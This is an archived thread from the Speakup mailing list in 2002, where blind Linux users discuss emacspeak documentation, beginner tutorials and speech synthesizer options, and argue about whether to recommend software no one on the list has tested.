> Ann Parsons writes:
>  > Hi all,
>  >
>  > Teddy, Terminal mode in Emacs is one of the things it doesn't do well,
>  > and its documentation is not good.  Janina, can you help in this area?
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Toby Fisher]

On Mon, 20 May 2002, Steve Holmes wrote:

> Ahh but quoting the relevant is much easier when all is quoted in
> reverse order.  Now that I'm replying to your's this way, I have to
> edit out the middle.  Fortuneately, emacs allows for easy editing such
> as this.  Yes, I'm usually lazy and probably most often push in my
> reply and then send it on its way.

I disagree, note this message, I can comment on the relevant bits of your
messages by interleaving, and I know the arguments by a lot of blind
people, but I personally prefer to read stuff this way, though of course
can deal with new stuff at the top.

 > I usually very much dislike having
to go through the old stuff before
> getting to the good/current stuff.  But then mutt came along into my
> life and I can now hit the 'S' key to magically skip over the old and
> get to the new; if it is interspersed withother old text, then I can
> hit the 'S' key again and I skip up to the next block.  Sure makes
> mail reading much faster.  Mutt is the only e-mail client where I have
> found this feature.

A lot of newsreaders have the feature, I know that slrn does, but I only
ever use it for long posts.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Janina Sajka]

On Tue, 21 May 2002, Octavian Rasnita wrote:

> Please tell me where on the hard disk is the manual for emacspeak, and I
> will try to copy and read it under Windows, and then I may find it easier to
> use the program.

Recognize one important fact, you need to learn emacs more than
you need to learn emacspeak. With this in mind, here's where to
look:

On your hard drive:

/usr/share/doc/emacspeak-* [Exact tail depends on which version
you installed]

/usr/share/info -- [but it's really easier to just learn how to
use info. While in emacs, type c-h i and learn to use up and down
arrow and your tab key]

PS: Learn to restart your speech server when it dies on you.
Learn the command c-e c-s it's probably the most important
command if your speech dies from time to time.

On the web:

http://emacspeak.sf.net {there's documentation here you can
download and read in a browser]

http://www.emacs.org 

These should keep you very busy learning. I'm still learning from
these pages, by the way.

OOn the web

Re: interesting experiment.

[Igor Gueths]

Hi. THere's also the dos win to linux howto on linuxdoc.org. It specifically explains the dir command, copy, format, etc. 
----- Original Message ----- 
From: Octavian Rasnita <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 3:36 AM
Subject: Re: interesting experiment.


> As a good idea, I think that a good tutorial should start thinking that a
> new user of linux used Windows until that moment.
> I don't know if a person with absolutely no experience in computers, would
> start learning linux these days.
> I think the new Linux users know  at least DOS or Windows.
> 
> So the tutorial should  say that the ls command is like the dir command for
> dos, but the differences are: ...
> Then it should explain the differences between the 2 OS's telling how to
> copy a file to a floppy, why it should be mounted, etc.
> I don't know if there are installers for Linux that can install this OS with
> only a few enter keys , or without a hardware sinthesizer, etc, so the
> installation  of Linux is not so important for an absolute beginner  because
> perhaps an advanced user will install the OS.
> 
> Another good starting tutorial would be explaining all the available  screen
> readers, sinthesizers, telling what is a "talking environment like emacs,
> comparing the screen readers for DOS and windows with those for Linux,
> comparing the responsiveness and sound quality of sinthesizers, and
> comparing them with  each other.
> 
> This way, for a new user would be much easier to  choose what they want and
> what is more appropriate for what they want to do with the computer.
> 
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 5:48 PM
> Subject: Re: interesting experiment.
> 
> 
> Hi all,
> 
> I have left this post in here because it is cogent and it applies
> here.
> 
> Excuse me for speaking bluntly, but what is needed here is some
> education mentality.  We've received several messages from one person
> this morning who is trying his best to learn Linux.  He has to learn
> Linux for his job or school or something He's working with a set of
> circumstances that are not the best.
> 
> First, he is using software speech in Linux via emacs because Dectalk
> PC is not supported by Speakup.  So, he's kinda between a rock and a
> hard place.
> 
> Second, English is not his native tongue and he is having a hard time
> understanding docs and what commands to use.
> 
> Third, he has a learning style that needs to be accommodated.  This
> takes understanding and patience.
> 
> Charles, if ACB is interested in Linux, that's super.  Is there any
> way I can help?  I'd be happy to write tutorials, except that I'm not
> good at all the commands and so on.  If someone gave me all the
> commands and that, I could write a tutorial.  Is there perhaps someone
> who would like to collaborate with me on writing Linux Tutorials for
> the blind?
> 
> Ann P.
> >>>>> "Hi all,Charles" == Charles Crawford <ccrawford@acb.org> writes:
> 
>     Hi all,Charles>          OK, now I need to speak from the view of
>     Hi all,Charles> the American council of the blind with respect to
>     Hi all,Charles> this thread.
> 
>     Hi all,Charles>          We want to see alternatives to the
>     Hi all,Charles> dominant Ms-Windows operating system and
>     Hi all,Charles> applications that are accessible and user
>     Hi all,Charles> friendly.  We realize there is a culture around
>     Hi all,Charles> Linux that we do not wish to displace or otherwise
>     Hi all,Charles> change, yet the culture demands a level of
>     Hi all,Charles> personal involvement and knowledge that is neither
>     Hi all,Charles> easy to obtain from the available resources nor
>     Hi all,Charles> easy to learn once those resources are found.
>     Hi all,Charles> Hence, the participation of the wider blindness
>     Hi all,Charles> community is not likely unless there are new ways
>     Hi all,Charles> of learning and using Linux that maintain the
>     Hi all,Charles> accessibility and lack of expense that are so
>     Hi all,Charles> attractive.
> 
>     Hi all,Charles>          It is not a matter of telling folks to
>     Hi all,Charles> read the manual when the manual is prefaced upon
>     Hi all,Charles> an expectation of understanding that is greater
>     Hi all,Charles> than the average person starting out.  Neither is
>     Hi all,Charles> it helpful to assume that everyone is going to be
>     Hi all,Charles> able to prioritize their time to dedicate to Linux
>     Hi all,Charles> in the same way as others have.
> 
>     Hi all,Charles>          This is not a hobby.  It is an operating
>     Hi all,Charles> system for use by those who need the access and
>     Hi all,Charles> affordability of it.  So let's admit that we need
>     Hi all,Charles> to accommodate those interests and find a way to
>     Hi all,Charles> do it that is not threatening to the current
>     Hi all,Charles> community of users.
> 
>     Hi all,Charles>          For the reasons above, ACBH is attempting
>     Hi all,Charles> to find the resources to get the internal speech
>     Hi all,Charles> engine we need to put speakup inside the box with
>     Hi all,Charles> internal quality speech.  That will expand the
>     Hi all,Charles> user base because we won't be hunting around for
>     Hi all,Charles> hardware that is slowly disappearing.
> 
>     Hi all,Charles>          Next we need to look at the usability
>     Hi all,Charles> issue.  This does not mean we try and change the
>     Hi all,Charles> nature of Linux and it's syntax, but we do need to
>     Hi all,Charles> look at any avenues to either make it more easy
>     Hi all,Charles> for folks to learn the context through tutorials
>     Hi all,Charles> for example or possible other ways.
> 
>     Hi all,Charles>          In the end, Linux is a robust product
>     Hi all,Charles> that need not be seen as having only one road to
>     Hi all,Charles> access.  So let's stop making assumptions about
>     Hi all,Charles> the people who are only trying to use this cool
>     Hi all,Charles> operating system and start making an environment
>     Hi all,Charles> that supports all who want to use it.
> 
>     Hi all,Charles> -- Charlie Crawford.  At 04:34 PM 5/19/02 -0400,
>     Hi all,Charles> you wrote:
>     >> I think that most people know how to search for things on the
>     >> internet. I think you need to stop and think about the fact
>     >> that not all people are good at finding things and that's why
>     >> we ask for help. If I could find all of the answers to my
>     >> problems, I wouldn't be asking.:p Before you start treating new
>     >> people like their idiots, try to remember that we're all
>     >> different, we all learn in different ways, and sometimes we
>     >> miss stuff.
>     >>
>     >>
>     >>
>     >> On Sun, 19 May 2002, Janina Sajka wrote:
>     >>
>     >> > All right, Newbies, Listen Up!
>     >> >
>     >> > There's something called Google. It's your friend. You use it
>     >> > with your favorite web browser. It's real easy and it's lynx
>     >> > friendly. And, it finds the answers to almost all of the
>     >> "where > do I find" questions I've seen on this list in the
>     >> last 6 months, > and puts them on the first screen of results.
>     >> >
>     >> > Learn to use Google. Keep it open in a second console.
>     >> >
>     >> > The field where you type in your search string is the fourth
>     >> > field on the main Google screen. The submit button is the
>     >> next > field.
>     >> >
>     >> > This is not rocket science. It isn't even hard.
>     >> >
>     >> >
>     >> > _______________________________________________ > Speakup
>     >> mailing list > Speakup@braille.uwo.ca >
>     >> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>     >> >
>     >>
>     >>
>     >> _______________________________________________ Speakup mailing
>     >> list Speakup@braille.uwo.ca
>     >> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
>     Hi all,Charles> _______________________________________________
>     Hi all,Charles> Speakup mailing list Speakup@braille.uwo.ca
>     Hi all,Charles> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
----- Original Message ----- 
From: Dave Hunt < <dave.hunt2@verizon.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 10:43 PM
Subject: Re: interesting experiment.


> Ted:
> 
> Your GUI accessibility is coming.  An adaptor for the Gnome desktop is
> in the works, with a preliminary version already available.  No, I
> haven't yet tried it.  I suggest you wait; it's far from a release
> candidate.
> 
> In the meantime, look at the screen reader YASR, and the Flite
> software synthesis engine.
> 
> -Dave
> 
> 
> Octavian Rasnita writes:
>  > Unfortunately, I found that emacspeak is  the only solution for the moment.
>  > I hope that Linux will follow the Windows way, and there will be a better
>  > support for software sinthesizers than for hardware ones, and that it will
>  > appear a graphical interface accessible for the blind.
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Hi all. Does anyone know if the Dectalk PC actually has any blank chips on its board? Because anyone with a Rom burner can actually burn dictionary files onto blank chips and sodder them onto the Dectalk PC board. This would probably be out of reach for most users, but its a sollution. 
----- Original Message ----- 
From: Shaun Oliver <shaun_oliver@optusnet.com.au>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 7:24 AM
Subject: Re: interesting experiment.


> Hi teddy.
> viavoice won't be supported by speakup as I understand it because it's a
> nonfree package and the source code isn't freely available.
> as for the problem with the dec-talk pc, the issue is, needing dictionary
> files to be loaded into the synth at boot time.
> You can't do this until the file systems are properly mounted. So, if one
> gets a kernel panic, you wouldn't know about it because you wouldn't have
> speech from kernel load.
> hth
> 
> 
> -- 
> Shaun Oliver
> 
> Man is the best computer we can put aboard a spacecraft ... and the
> > > only one that can be mass produced with unskilled labor.
> > >                 -- Wernher von Braun.
> > > email: shaun_oliver@optusnet.com.au
> > > icq:76958435
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Alex Snow]

I think his name is Octavian, but his Nickname is Teddy.
----- Original Message ----- 
From: "Gregory Nowak" <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 12:22 AM
Subject: Re: Why Windows?


> Ok, I'm confused now. Is his name Tedy or is it Octavian?
> Greg
> 
> 
> On Tue, May 21, 2002 at 11:42:36PM -0400, Janina Sajka wrote:
> > Octavian:
> > 
> > Don't post those Windows problem messages here. We really don't
> > give a damm about Windows viruses, Windows security holes, or
> > Windows anything on this list.
> > 
> > This is not a list about Windows anything. Do you understand
> > that?
> > 
> > 
> > -- 
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

rDon't you think it's wise to try things before you recommend
them -- especially to people with very little in the way of
capibilities in Linux?
On Wed, 22 May 2002, Igor Gueths wrote:

> Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.

Re: interesting experiment.

[Igor Gueths]

Hi janina. Ok, I guess my way of pointing things out is not working here. I won't say anything about something next time unless I have personally tried it. 
----- Original Message ----- 
From: Janina Sajka <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 3:27 PM
Subject: Re: interesting experiment.


> rDon't you think it's wise to try things before you recommend
> them -- especially to people with very little in the way of
> capibilities in Linux?
> On Wed, 22 May 2002, Igor Gueths wrote:
> 
> > Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

Igor:

I'm just suggesting being judicious in our advice. The
theoretical and comprehensive is great when that's appropriate. 
I just don't think it's appropriate to throw out something
that's tentative at best. And, unless you're going to say, "I
use/used this, and it was pretty darn good," it's all
theoretical and not necessarily practical. And, then what
happens, is we get to clean up the mess that can follow on this 
list.
On Wed, 22 May 2002, Igor Gueths wrote:

> Hi janina. Ok, I guess my way of pointing things out is not working here. I won't say anything about something next time unless I have personally tried it. 
> ----- Original Message ----- 
> From: Janina Sajka <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Wednesday, May 22, 2002 3:27 PM
> Subject: Re: interesting experiment.
> 
> 
> > rDon't you think it's wise to try things before you recommend
> > them -- especially to people with very little in the way of
> > capibilities in Linux?
> > On Wed, 22 May 2002, Igor Gueths wrote:
> > 
> > > Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Gregory Nowak]

Please mention something else next time even though you haven't tried it. Someone else may want to try it, and the lack of knowledge that something exists would prevent them from doing so.
Greg


On Wed, May 22, 2002 at 03:30:35PM -0400, Igor Gueths wrote:
> Hi janina. Ok, I guess my way of pointing things out is not working here. I won't say anything about something next time unless I have personally tried it. 
> ----- Original Message ----- 
> From: Janina Sajka <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Wednesday, May 22, 2002 3:27 PM
> Subject: Re: interesting experiment.
> 
> 
> > rDon't you think it's wise to try things before you recommend
> > them -- especially to people with very little in the way of
> > capibilities in Linux?
> > On Wed, 22 May 2002, Igor Gueths wrote:
> > 
> > > Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

Greg:

Obviously, we disagree. But I'm responding to you because I don't
want to be misunderstood about this. I've no problem about the
someone part. I do have a problem about the particular someone in
question at the moment. It's downright irresponsible to push this
someone toward something nobody here even knows works. Sim0ply
irresponsible. So, Greg, think before you say.

On Wed, 22 May 2002, Gregory Nowak wrote:

> Please mention something else next time even though you haven't tried it. Someone else may want to try it, and the lack of knowledge that something exists would prevent them from doing so.
> Greg
> 
> 
> On Wed, May 22, 2002 at 03:30:35PM -0400, Igor Gueths wrote:
> > Hi janina. Ok, I guess my way of pointing things out is not working here. I won't say anything about something next time unless I have personally tried it. 
> > ----- Original Message ----- 
> > From: Janina Sajka <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Wednesday, May 22, 2002 3:27 PM
> > Subject: Re: interesting experiment.
> > 
> > 
> > > rDon't you think it's wise to try things before you recommend
> > > them -- especially to people with very little in the way of
> > > capibilities in Linux?
> > > On Wed, 22 May 2002, Igor Gueths wrote:
> > > 
> > > > Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Gregory Nowak]

Janina, yes, we obviously disagree here. However, I still maintain that it is better that the rest of us not be held back from experiencing something simply because of one individual. 
I obviously cannot change your point of view, and you cannot obviously change mine. However, I ask that you consider my view point for a minute as opposed to yours.
Greg


On Wed, May 22, 2002 at 04:43:31PM -0400, Janina Sajka wrote:
> Greg:
> 
> Obviously, we disagree. But I'm responding to you because I don't
> want to be misunderstood about this. I've no problem about the
> someone part. I do have a problem about the particular someone in
> question at the moment. It's downright irresponsible to push this
> someone toward something nobody here even knows works. Sim0ply
> irresponsible. So, Greg, think before you say.
> 
> On Wed, 22 May 2002, Gregory Nowak wrote:
> 
> > Please mention something else next time even though you haven't tried it. Someone else may want to try it, and the lack of knowledge that something exists would prevent them from doing so.
> > Greg
> > 
> > 
> > On Wed, May 22, 2002 at 03:30:35PM -0400, Igor Gueths wrote:
> > > Hi janina. Ok, I guess my way of pointing things out is not working here. I won't say anything about something next time unless I have personally tried it. 
> > > ----- Original Message ----- 
> > > From: Janina Sajka <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Wednesday, May 22, 2002 3:27 PM
> > > Subject: Re: interesting experiment.
> > > 
> > > 
> > > > rDon't you think it's wise to try things before you recommend
> > > > them -- especially to people with very little in the way of
> > > > capibilities in Linux?
> > > > On Wed, 22 May 2002, Igor Gueths wrote:
> > > > 
> > > > > Also check out festival, its supported by Screader. I never tried it. I know this is the Speakup list, but just thought I'd point that out.
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

On Wed, 22 May 2002, Gregory Nowak wrote:
> I still maintain that it is better that the rest of us not be
> held back from
> experiencing something simply because of one individual.

You've got to be kidding. That reference was years old, and
nothing new has happened to Screader and Festival in years. No,
it was not meant for the rest of us. It was aimed at a particular
person in a particular position.

Sorry, Gregg. You're just wrong.

Re: interesting experiment.

[Gregory Nowak]

Well, for me and possibly others, that reference was a new one. Since this is just an opinion that you or I have, there is no right or wrong answer here. Thus, I could just as easily say that no, Janina, you are wrong. I am starting to get the feeling that you think that only your opinions are right, and everyone has to do things the way you say. Perhaps, like you said earlier you need a vacation. If you would still like to discuss this with me after you come back from it refreshed, by all means please do so. Until such time, this is my last post on this particular subject/subthread, since I see that you are not being reasonable currently.
Greg
P.S. No offense is meant or taken.

 
On Wed, May 22, 2002 at 06:18:27PM -0400, Janina Sajka wrote:
> On Wed, 22 May 2002, Gregory Nowak wrote:
> > I still maintain that it is better that the rest of us not be
> > held back from
> > experiencing something simply because of one individual.
> 
> You've got to be kidding. That reference was years old, and
> nothing new has happened to Screader and Festival in years. No,
> it was not meant for the rest of us. It was aimed at a particular
> person in a particular position.
> 
> Sorry, Gregg. You're just wrong.
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

What? You deny that the message was posted in a specific response
to a particular post from a particular individual? Am I right or
wrong about that? Let's start with the facts. Is this true or
false what I've just asserted.

On Wed, 22 May 2002, Gregory Nowak wrote:

> Well, for me and possibly others, that reference was a new one. Since this is just an opinion that you or I have, there is no right or wrong answer here. Thus, I could just as easily say that no, Janina, you are wrong. I am starting to get the feeling that you think that only your opinions are right, and everyone has to do things the way you say. Perhaps, like you said earlier you need a vacation. If you would still like to discuss this with me after you come back from it refreshed, by all means please do so. Until such time, this is my last post on this particular subject/subthread, since I see that you are not being reasonable currently.
> Greg
> P.S. No offense is meant or taken.
> 
>  
> On Wed, May 22, 2002 at 06:18:27PM -0400, Janina Sajka wrote:
> > On Wed, 22 May 2002, Gregory Nowak wrote:
> > > I still maintain that it is better that the rest of us not be
> > > held back from
> > > experiencing something simply because of one individual.
> > 
> > You've got to be kidding. That reference was years old, and
> > nothing new has happened to Screader and Festival in years. No,
> > it was not meant for the rest of us. It was aimed at a particular
> > person in a particular position.
> > 
> > Sorry, Gregg. You're just wrong.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Also, kindly leave the personal attacks out of this. I have not
disparaged you. Stick to the issue at hand, if you want to debate
with me.

On Wed, 22 May 2002, Gregory Nowak wrote:

> Well, for me and possibly others, that reference was a new one. Since this is just an opinion that you or I have, there is no right or wrong answer here. Thus, I could just as easily say that no, Janina, you are wrong. I am starting to get the feeling that you think that only your opinions are right, and everyone has to do things the way you say. Perhaps, like you said earlier you need a vacation. If you would still like to discuss this with me after you come back from it refreshed, by all means please do so. Until such time, this is my last post on this particular subject/subthread, since I see that you are not being reasonable currently.
> Greg
> P.S. No offense is meant or taken.
> 
>  
> On Wed, May 22, 2002 at 06:18:27PM -0400, Janina Sajka wrote:
> > On Wed, 22 May 2002, Gregory Nowak wrote:
> > > I still maintain that it is better that the rest of us not be
> > > held back from
> > > experiencing something simply because of one individual.
> > 
> > You've got to be kidding. That reference was years old, and
> > nothing new has happened to Screader and Festival in years. No,
> > it was not meant for the rest of us. It was aimed at a particular
> > person in a particular position.
> > 
> > Sorry, Gregg. You're just wrong.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: Why Windows?

[Octavian Rasnita]

You haven't included the original message so I don't know what are you
talking about.
However, I have answered only to  other listers. I think I have helped other
lister if he asked, isn't it? O, I've forgotten. You don't care to help, if
that person is interested in other things than you.
I haven't put an off topic question or something. I've just answered.
But why don't you write to the other members that put off topic questions?
Because you don't like me? As I've told you. I don't care about that.
Some good mailing list administrators, when they don't like something on
their list (like these stupid threads from the last few days)  they usually
write private to those listers asking nice not to be rude, or something, it
depends on the problem.

You seem not to like me because I don't like the command line from Linux.
Nice.

Regards.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 6:42 AM
Subject: Re: Why Windows?


> Octavian:
>
> Don't post those Windows problem messages here. We really don't
> give a damm about Windows viruses, Windows security holes, or
> Windows anything on this list.
>
> This is not a list about Windows anything. Do you understand
> that?
>
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

Not very good news, but I am glad that I can do everything at least.
Thanks.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 6:46 AM
Subject: Re: interesting experiment.


> Octavian:
>
> Emacs and emacspeak are both very capable, and powerful. The main
> difference is that you have to learn a lot more to use emacspeak
> effectively. Speakup is easier to learn.
>
> On Tue, 21 May 2002, Octavian Rasnita wrote:
>
> > This is a real encouragement. Thank you.
> > What I am not sure yet, is if I will be able to do  with Emacspeak, all
what
> > you can do with speakup.
> >
> > Thanks.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 8:01 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Yes, I have the same impression.
> >
> > Unfortunately, that puts him in a bit of a bind, but only until
> > he gets over his beginner's hump with emacspeak and his internal
> > DEC Talk. He should be OK after that.
> >
> > On Mon, 20 May 2002, Deedra Waters wrote:
> >
> > > >From some of the comments he's made both  on and off list I get the
> > > impression that money is a major issue. meaning that he 1 can't afford
to
> > > get a new synth to fully use speakup and 2 he can't afford to pay for
> > > software either.
> > >
> > >
> > >
> > > On Mon, 20 May 2002, Janina Sajka wrote:
> > >
> > > > Greg:
> > > >
> > > > I'm pretty sure he isn't using Speakup. He doesn't have a
> > > > supported synth. He telnets from his Windows machine, as I
> > > > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > > > course, the latter is a very steep learning curve.
> > > >
> > > > Still, he's got the DEC Talk internal, and emacs with or without
> > > > emacspeak is worth learning. Without emacspeak, he can run it
> > > > over telnet--but I doubt JFW is all that great as a telnet
> > > > client's screen review program. Also, the default Microsoft
> > > > telnet is pretty lame. I would think this setup is fraught with
> > > > frustration.
> > > >
> > > > So, emacspeak with that DEC Talk is probably his smartest option
> > > > right now, with the telnet as a back up to avoid rebooting.
> > > >
> > > > I have also suggest yasr and eflite, but he's insisting on
> > > > nothing less than Eloquence for free, so the DEC Talk is probably
> > > > the best compromise.
> > > >
> > > > Another option would be a better screen reader for telnet and a
> > > > better telnet client. That would mean a good DOS screen reader
> > > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > > Windows machine. Neither of those is very cheap, though, and
> > > > spending that much money would be dumb, because he could get a
> > > > good Doubletalk for less than the cost of that software.
> > > >
> > > > On Sun, 19 May 2002, Gregory Nowak wrote:
> > > >
> > > > > We're all assuming he's using speakup since he's here. But from
all of
> > Tedy's comments in other posts, I am beginning to get the impression
that
> > he's not, since he seems to be asking for screen readers which support
> > software tts.
> > > > > Greg
> > > > >
> > > > >
> > > > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > > > Try man < emacs|less then use the speakup keys to read line by
line,
> > or
> > > > > > word by word if you wish. you can bring up the next page by
hitting
> > the
> > > > > > space bar.
> > > > > >
> > > > > >
> > > > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > > > >
> > > > > > > Please enlighten me.
> > > > > > > I never used the Jaws cursor in the new HTML help  format
under
> > Windows.
> > > > > > > Select an item in the tree view, press enter, then press F6
and it
> > will
> > > > > > > automaticly start reading that help item. It is a simple HTML
file
> > there,
> > > > > > > and it works exactly as simple as Internet Explorer.
> > > > > > > You don't need the Jaws cursor at all.
> > > > > > >
> > > > > > > You needed the Jaws cursor only for some bad designed help
files
> > in the old
> > > > > > > .hlp format.
